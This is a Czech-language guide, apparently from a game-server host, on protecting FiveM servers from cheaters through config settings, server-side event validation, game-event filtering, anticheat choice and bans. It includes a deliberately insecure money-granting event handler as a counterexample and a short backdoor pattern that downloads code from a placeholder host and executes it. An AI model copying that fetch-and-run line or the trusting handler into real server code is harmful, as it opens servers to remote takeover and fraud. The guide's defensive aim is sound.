Většina škod, které cheateři na serveru FiveM napáchají, nepotřebuje chytrý cheat. Potřebuje serverový event, který věří všemu, co pošle klient - dej mi peníze, dej mi tento předmět, nastav mi práci - a server, který klientům dovolí vytvářet libovolné entity. Oprav nejdřív tyhle dvě věci: nastav sv_entityLockdown, validuj každý serverový event na serveru a filtruj herní eventy, které cheat menu zneužívají. Placený anticheat je detekční vrstva navíc, na rušném veřejném serveru stojí za to a na nezabezpečeném je k ničemu. Tento průvodce prochází vrstvy v pořadí, které dává nejvíc ochrany za nejméně práce, co která kategorie anticheatů umí a neumí a jak zařídit, aby bany držely.
Kde cheatování opravdu bolí#
Pomáhá oddělit, co cheat menu zvládne samo, od toho, co mu dovolí tvůj server.
Na klientovi může cheat dělat cokoli, co hra: teleportovat, létat, vidět skrz zdi, mířit za hráče, lokálně spawnovat vozidla a objekty. Něco z toho se týká jen obrazovky cheatera. Něco - spawnované entity, výbuchy, připojené objekty - se posílá na server jako herní eventy a všichni to vidí, pokud to server neodmítne.
Na serveru může cheat volat jen to, co vystavují tvé resource. Každý handler RegisterNetEvent je funkce, kterou může libovolný připojený klient zavolat s libovolnými argumenty a v libovolné frekvenci. Pokud má resource serverový event, který vyplatí odměnu za práci a nic nekontroluje, cheater ho zavolá tisíckrát a tvá ekonomika je za minutu pryč. Žádný anticheat to nemůže plně spravit, protože z pohledu serveru vypadá volání přesně jako legitimní.
| Útok | Co ho umožňuje | Co ho zastaví |
|---|---|---|
| Spawn vozidel, pedů, objektů | Povolené vytváření entit klientem | sv_entityLockdown |
| Vkládání peněz a předmětů | Serverové eventy, které věří klientovi | Validace na straně serveru |
| Výbuchy, oheň, připojování objektů k hráčům | Herní eventy předávané bez kontroly | Filtry herních eventů |
| Aimbot, ESP, noclip | Paměť klienta | Detekce na klientovi: Cfx.re a anticheaty |
| Obcházení banu novým účtem | Bany na jeden identifikátor | Bany na mnoho identifikátorů a tokenů |
Vrstva 1: řádky v konfiguraci#
Nestojí nic a zavírají nejširší dveře:
set sv_entityLockdown "relaxed"sv_scriptHookAllowed 0sv_pureLevel 1set sv_endpointPrivacy truesv_entityLockdown je nejdůležitější. Ve výchozím stavu je inactive, kdy může libovolný klient vytvořit libovolnou entitu. relaxed blokuje entity vytvořené klientskými skripty, což cheat menu používají, a okolní provoz nechává být. strict blokuje všechny entity vytvořené klientem, takže každé vozidlo musí vytvořit server. Vyžaduje OneSync a rozbije resource, které spawnují věci na klientovi - což je seznam resource, které je stejně dobré aktualizovat. OneSync a sloty hráčů pokrývá režimy a vzor vytváření na serveru, který pod nimi funguje.
sv_scriptHookAllowed 0 odmítne klienty s menu ScriptHookV. sv_pureLevel odmítne upravené herní soubory: 1 blokuje většinu z nich, 2 blokuje i grafické mody a odmítne nevinné hráče s vizuálním balíčkem. Je to filtr líných cheatů, ne anticheat. sv_endpointPrivacy drží IP adresy hráčů mimo veřejné výstupy, což je důležité, když někdo chce napadnout streamera na tvém serveru.
Novější buildy serveru mají také convary, které řídí, jaké síťové požadavky a herní funkce smějí klienti spouštět na jiných, například sv_filterRequestControl, který omezuje klienty v přebírání kontroly nad entitami jiných hráčů. Dostupné úrovně se mezi buildy změnily, takže si před nastavením přečti aktuální dokumentaci Cfx.re. Zbytek souboru je v vysvětlení FiveM server.cfg.
Vrstva 2: serverové eventy, které kontrolují vstup#
Tady vzniká většina skutečných škod a tady tě žádný produkt nezachrání. Pravidlo je jednoduché: server rozhoduje, co se stalo, klient se jen ptá.
Typický zranitelný handler:
-- server side: trusts everything the client sendsRegisterNetEvent("fishing:sell", function(amount, price) local xPlayer = ESX.GetPlayerFromId(source) xPlayer.addMoney(amount * price)end)Cheater spustí fishing:sell s amount = 100000. Stejný handler napsaný správně:
local lastSell = {}RegisterNetEvent("fishing:sell", function() local src = source local xPlayer = ESX.GetPlayerFromId(src) if not xPlayer then return end -- rate limit: one sale per 5 seconds per player local now = os.time() if lastSell[src] and now - lastSell[src] < 5 then return end lastSell[src] = now -- must be standing at the fish market local coords = GetEntityCoords(GetPlayerPed(src)) if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end -- the server counts the fish and sets the price local fish = xPlayer.getInventoryItem("fish").count if fish < 1 then return end xPlayer.removeInventoryItem("fish", fish) xPlayer.addMoney(fish * Config.FishPrice)end)Principy platí pro každý event:
- Používej `source`, nikdy ID hráče předané jako argument.
sourcenastavuje server a nejde zfalšovat. Argument pojmenovávající cílového hráče zfalšovat jde. - Částky počítej na serveru. Klient řekne „chci prodat své ryby“; server ryby spočítá a zná cenu.
- Kontroluj pozici. S OneSync funguje na serveru
GetEntityCoords(GetPlayerPed(source)). Event, který dává smysl jen na určitém místě, by měl zkontrolovat, že tam hráč je. - Kontroluj stav. Práci, to, zda je ve službě, vlastnictví předmětu, zda byl krok práce, za který je odměna, skutečně na serveru zahájen.
- Omez frekvenci. Pamatuj si, kdy hráč event naposledy spustil.
- Loguj selhání. Odmítnuté volání s nemožnými argumenty je cheater a řádek v logu je důkaz.
„Tokeny“ eventů a náhodně generované názvy eventů, které některé resource prodávají jako ochranu, jsou obfuskace. Cheat, který čte paměť klienta, přečte i token. Zvyšují námahu jen mírně a validaci nenahrazují.
Práce spočívá v auditu resource, které jsi nenapsal. Přečti každý RegisterNetEvent na straně serveru u každé resource a ptej se, co se stane, když ho klient zavolá nesmyslem. Frameworkové resource z dobře udržovaných projektů jsou obvykle v pořádku; problémy žijí ve free skriptu pro práci z fóra. Volba frameworku pokrývá, které ekosystémy to berou vážně.
Vrstva 3: filtrování herních eventů#
Některé akce nejsou eventy tvých resource, ale herní eventy, které server předává mezi klienty: výbuchy, poškození, změny zbraní, částicové efekty, vytváření entit. FXServer umožňuje serverovým skriptům je zkoumat a rušit.
-- server sideAddEventHandler("explosionEvent", function(sender, ev) -- block every explosion type not caused by normal gameplay you allow if not AllowedExplosions[ev.explosionType] then CancelEvent() print(("blocked explosion type %d from %s"):format(ev.explosionType, sender)) endend)AddEventHandler("entityCreating", function(handle) if BlockedModels[GetEntityModel(handle)] then CancelEvent() endend)| Event | Co pokrývá |
|---|---|
explosionEvent | Výbuchy, včetně těch, které cheat spawnuje na ostatních hráčích |
entityCreating | Entita, která se chystá vzniknout; lze zrušit |
weaponDamageEvent | Poškození, které jeden hráč něčemu způsobil |
giveWeaponEvent, removeWeaponEvent | Zbraně dané pedovi nebo mu odebrané |
clearPedTasksEvent | Zrušené úkoly pedu, používané k vyhazování hráčů z aut |
ptFxEvent | Částicové efekty |
startProjectileEvent | Vystřelené projektily |
Každý z nich má v běžné hře legitimní využití, takže práce spočívá ve vytváření seznamů povolených věcí, ne v plošném blokování eventu. Roleplay server bez práce s výbušninami může většinu typů výbuchů zablokovat rovnou. giveWeaponEvent od klienta k jinému hráči má na frameworkovém serveru, kde zbraně pocházejí z inventáře, téměř nulové legitimní využití. Co blokuješ, týden loguj, než z toho uděláš kicky, jinak zabanuješ vlastní práci mechanika.
Vrstva 4: detekce a výběr anticheatu#
Cheaty na straně klienta - aimbot, ESP, noclip, menu, která se dotýkají jen hry samotného cheatera - lze zachytit jen na klientovi. Klient Cfx.re má vlastní ochrany a vydává globální bany za známé cheaty, což dostaneš zdarma a nelze to konfigurovat. Dále jsou možnosti:
Anticheaty jako free resource. Většinou seznamy známých názvů cheat eventů a zakázaných modelů s několika kontrolami na serveru. Užitečné jako výchozí bod; snadno se obcházejí, protože jejich logika je veřejná.
Placené anticheaty. Produkty jako FiveGuard, ElectronAC a WaveShield kombinují klientskou složku se serverovou heuristikou, udržovanou proti aktuálním cheat menu. Trh se rychle mění a názvy přicházejí a odcházejí, takže je posuzuj podle těchto bodů, ne jen podle pověsti:
- Falešné poplachy. Zeptej se, jak se detekce před bany kontrolují. Anticheat, který zabanuje štamgasta za výkyv lagu, tě stojí víc než cheater.
- Výkon. Po instalaci ho změř pomocí
resmon 1a profileru serveru. Některé zaberou víc času snímku na klientovi než všechno ostatní dohromady. Výkon serveru FiveM ukazuje jak. - Důvěra. Anticheat běží se stejnými právy jako každá jiná resource na tvém serveru, obvykle escrowovaný, takže ho nepřečteš. Svěřuješ dodavateli přihlašovací údaje k databázi a data svých hráčů.
- Podpora a dlouhověkost. Placený produkt, jehož autor zmizí, přestane za pár týdnů detekovat nová menu.
Provozuj jeden anticheat, ne dva. Dva produkty zachycující stejné eventy spolu bojují a zdvojnásobují falešné poplachy.
Vrstva 5: bany, které drží#
Ban na jediný identifikátor se obejde novým účtem. txAdmin zaznamenává každý identifikátor, se kterým se hráč připojí - license, discord, steam při nastaveném klíči Steam Web API, xbl, live, IP - plus hardwarové tokeny, které FXServer zpřístupňuje přes GetPlayerToken, a jeho bany se porovnávají podle všech z nich. Používej bany txAdminu nebo anticheat, který do nich zapisuje, ne vlastní banovací tabulku frameworku, která ukládá jen licenci.
Dvě praktické poznámky. Piš důvody banů konkrétně a přikládej důkazy (klip, řádek z logu), protože odvolání jsou součástí moderace a pravidla serveru, moderace a personál je ta stránka věci, která je o lidech. A omez, kdo smí banovat: personál, který může banovat, může také odbanovat své kamarády. Dej moderátorům oprávnění txAdminu, která potřebují, a ne víc - stejný princip jako subuživatelé a nejmenší oprávnění na straně panelu.
Problém zadních vrátek#
Nejškodlivější „cheater“ na serveru FiveM je často už nainstalovaný. Uniklé placené resource - stažené ze stránek, které redistribuují escrowované skripty - běžně nesou zadní vrátka: pár řádků, které stáhnou kód ze vzdálené adresy a spustí ho s plnými právy serveru. Vzor vypadá takto:
PerformHttpRequest("https://example.invalid/x", function(_, body) load(body)()end)Prohledej každou resource kvůli PerformHttpRequest v kombinaci s load a kvůli dlouhým obfuskovaným řetězcům v souborech, které k tomu nemají důvod. Na serveru se zadními vrátky mohou cizí lidé dostat admina, může se vytáhnout databáze nebo ukrást licenční klíč a žádný anticheat to neuvidí, protože je to resource, kterou jsi spustil sám. Obecný postup je v udržování moddovaného serveru v čistotě a pokud nějaká najdeš, co dělat, když ti hacknou server je pořadí, ve kterém pracovat: omezit škody, vyměnit všechny přihlašovací údaje, obnovit, potom najít, kudy se útočník dostal dovnitř.
Logování, důkazy a plán na první týden#
Ochrana, kterou nevidíš pracovat, je ochrana, kterou vypneš při první stížnosti štamgasta. Každá z výše uvedených vrstev by měla zanechat stopu, kterou si později přečteš.
- Loguj odmítnuté serverové eventy. Když selže kontrola validace, zapiš hráče, event, argumenty a důvod. Stačí jeden řádek na odmítnutí. Hráč se třemi odmítnutými prodeji za minutu, každý s nárokem na sto tisíc ryb, nepotřebuje další vyšetřování.
- Loguj blokované herní eventy. Výbuchy, vytvoření entit a dávání zbraní, které tvé filtry zrušily, s odesílatelem. První týden si je čti, než z kteréhokoli uděláš automatický kick.
- Ty závažné posílej tam, kam se lidé dívají. Obvyklou volbou je kanál na Discordu pro personál napájený webhookem; webhooky Discordu pro stav serveru pokrývají mechaniku. Omez to na eventy, které potřebují člověka, jinak personál kanál do týdne ztlumí.
- Uchovávej výstup konzole. txAdmin vede log akcí adminů a historii hráčů a konzole serveru ukazuje, co resource vypsaly. Když za dva týdny přijde odvolání, jsou logy jedinou pamětí, kterou máš; logy, které stojí za uchování je o tom, které.
Důkazy chrání i tvůj personál. Ban podložený řádkem v logu a časovým razítkem je rozhodnutí, které může kdokoli přezkoumat. Ban podložený „byl evidentně cheater“ je názor.
Kontrolní seznam prvního týdne pro nový server
- Nastav
sv_entityLockdownnarelaxed,sv_scriptHookAllowed 0a zapni OneSync, pokud ještě není zapnutý. - Vypiš každý serverový event v každé resource, kterou jsi nenapsal. Označ ty, které dávají peníze, předměty, práce nebo oprávnění.
- Oprav nebo nahraď každý označený event, který bere částku, cíl nebo cenu od klienta.
- Přidej handlery herních eventů pro výbuchy a dávání zbraní, jen s logováním.
- Čti týden logů a pak z těch zřejmých udělej bloky.
- Rozhodni se pro detekční anticheat, změř jeho cenu a ponech ho, jen pokud jsou čísla přijatelná.
- Zajisti, aby bany procházely přes txAdmin, takže pokrývají každý identifikátor.
Po exploitu: návrat zpět#
Když někdo získá peníze nebo předměty dírou, server běží dál a škoda se šíří přes obchody. Nejčistší obnova je návrat databáze do stavu před exploitem plus oprava eventu. To funguje, jen pokud máš nedávnou zálohu a víš, že se obnoví.
V RE:NODE se zálohy dělají na vyžádání nebo podle plánu z panelu, ukládají se mimo stroj a obnovují tlačítkem; zálohu lze zamknout, aby rotace nesmazala kopii z doby před incidentem. Subuživatelům lze dát přístup jen ke konzoli nebo jen k souborům, každý server má vlastní přihlašovací údaje SFTP a u každého serveru je protokol aktivity, který pomáhá, když je otázkou, kdo co změnil. Útoky na samotnou síť jsou něco jiného než cheatování - co děláme proti útokům je upřímné v tom, co filtrování výš v síti zachytí a co ne.
FAQ#
Jaký je nejlepší anticheat pro FiveM?
Jediná odpověď neexistuje a pořadí se mění, jak se vývojáři cheatů posouvají. Nejlepší ochrana je zámek entit plus serverové eventy, které validují vstup. Navíc vyber udržovaný placený anticheat podle toho, jak řeší falešné poplachy, jaký má výkonový dopad a podporu, a než mu uvěříš, otestuj ho na vlastním serveru.
Zastaví sv_entityLockdown všechny cheatery?
Ne. Zastaví vytváření entit klienty, čímž odpadne spawn vozidel a objektů, nejviditelnější zneužití. Nedělá nic proti aimbotům, teleportování ani serverovým eventům, které rozdávají peníze.
Mohou si cheateři na mém serveru dát peníze?
Jen pokud jim to nějaká resource dovolí. Peníze pocházejí ze serverových eventů; pokud některý přijímá částku od klienta bez kontroly, cheateři ho najdou. Proveď audit strany serveru u každé resource, která vyplácí.
Stačí tokeny eventů k zabezpečení serverových eventů?
Ne. Ztíží ruční volání eventů, ale cheat, který čte paměť klienta, přečte i token. Event dělá bezpečným validace na serveru.
Jak zabránit zabanovaným cheaterům, aby se vrátili?
Banuj na každý identifikátor a hardwarový token, což txAdmin dělá ve výchozím stavu. Nic nedělá obcházení nemožným, ale bany, které se porovnávají podle mnoha identifikátorů, ho činí pomalým a drahým.
Může mi anticheat zpomalit server?
Ano. Po instalaci ho změř pomocí resmon na klientovi a profileru na serveru. Produkt, který přidává znatelný čas snímku každému klientovi, chrání server na úkor hráčů.




Komentáře
Zcela anonymně: žádný účet, žádný e-mail, žádné cookie. Ukládáme jen jméno, které napíšeš, text a čas - nic dalšího. Počet odkazů je omezený a značkování se nevykresluje.